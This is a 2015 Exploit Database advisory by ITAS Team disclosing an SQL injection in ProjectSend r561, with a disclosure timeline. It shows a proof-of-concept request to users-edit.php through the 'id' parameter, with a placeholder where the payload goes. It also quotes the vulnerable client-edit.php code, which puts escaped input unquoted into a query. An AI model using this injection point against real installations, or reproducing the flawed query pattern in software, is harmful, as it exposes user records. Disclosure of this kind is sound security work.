ProjectSend r561 – SQL Injection

• Exploit Database
• 133 阅读

• 作者： ITAS Team
  日期： 2015-03-06
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/36303/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91

  #Vulnerability title: ProjectSend r561 - SQL injection vulnerability #Product: ProjectSend r561 #Vendor: http://www.projectsend.org/ #Affected version: ProjectSend r561 #Download link: http://www.projectsend.org/download/67/ #Fixed version: N/A #Author: Le Ngoc Phi (phi.n.le@itas.vn) & ITAS Team (www.itas.vn)     ::PROOF OF CONCEPT::   + REQUEST: GET /projectsend/users-edit.php?id=<SQL INJECTION HERE> HTTP/1.1 Host: target.org User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: 54f8105d859e0_SESSION=q6tjpjjbt53nk1o5tnbv2123456; PHPSESSID=jec50hu4plibu5p2p6hnvpcut6 Connection: keep-alive     - Vulnerable file: client-edit.php - Vulnerable parameter: id - Vulnerable code: if (isset($_GET[&apos;id&apos;])) { $client_id = mysql_real_escape_string($_GET[&apos;id&apos;]); /** * Check if the id corresponds to a real client. * Return 1 if true, 2 if false. **/ $page_status = (client_exists_id($client_id)) ? 1 : 2; } else { /** * Return 0 if the id is not set. */ $page_status = 0; }   /** * Get the clients information from the database to use on the form. */ if ($page_status === 1) { $editing = $database->query("SELECT * FROM tbl_users WHERE id=$client_id"); while($data = mysql_fetch_array($editing)) { $add_client_data_name = $data[&apos;name&apos;]; $add_client_data_user = $data[&apos;user&apos;]; $add_client_data_email = $data[&apos;email&apos;]; $add_client_data_addr = $data[&apos;address&apos;]; $add_client_data_phone = $data[&apos;phone&apos;]; $add_client_data_intcont = $data[&apos;contact&apos;]; if ($data[&apos;notify&apos;] == 1) { $add_client_data_notity = 1; } else { $add_client_data_notity = 0; } if ($data[&apos;active&apos;] == 1) { $add_client_data_active = 1; } else { $add_client_data_active = 0; } } }       ::DISCLOSURE:: + 01/06/2015: Detect vulnerability + 01/07/2015: Contact to vendor + 01/08/2015: Send the detail vulnerability to vendor - vendor did not reply + 03/05/2015: Public information   ::REFERENCE:: - http://www.itas.vn/news/itas-team-found-out-a-SQL-Injection-vulnerability-in -projectsend-r561-76.html     ::DISCLAIMER:: THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS, AND AT THE USER&apos;S OWN RISK.       Best Regards, --------------------------------------------------------------------- ITAS Team (www.itas.vn)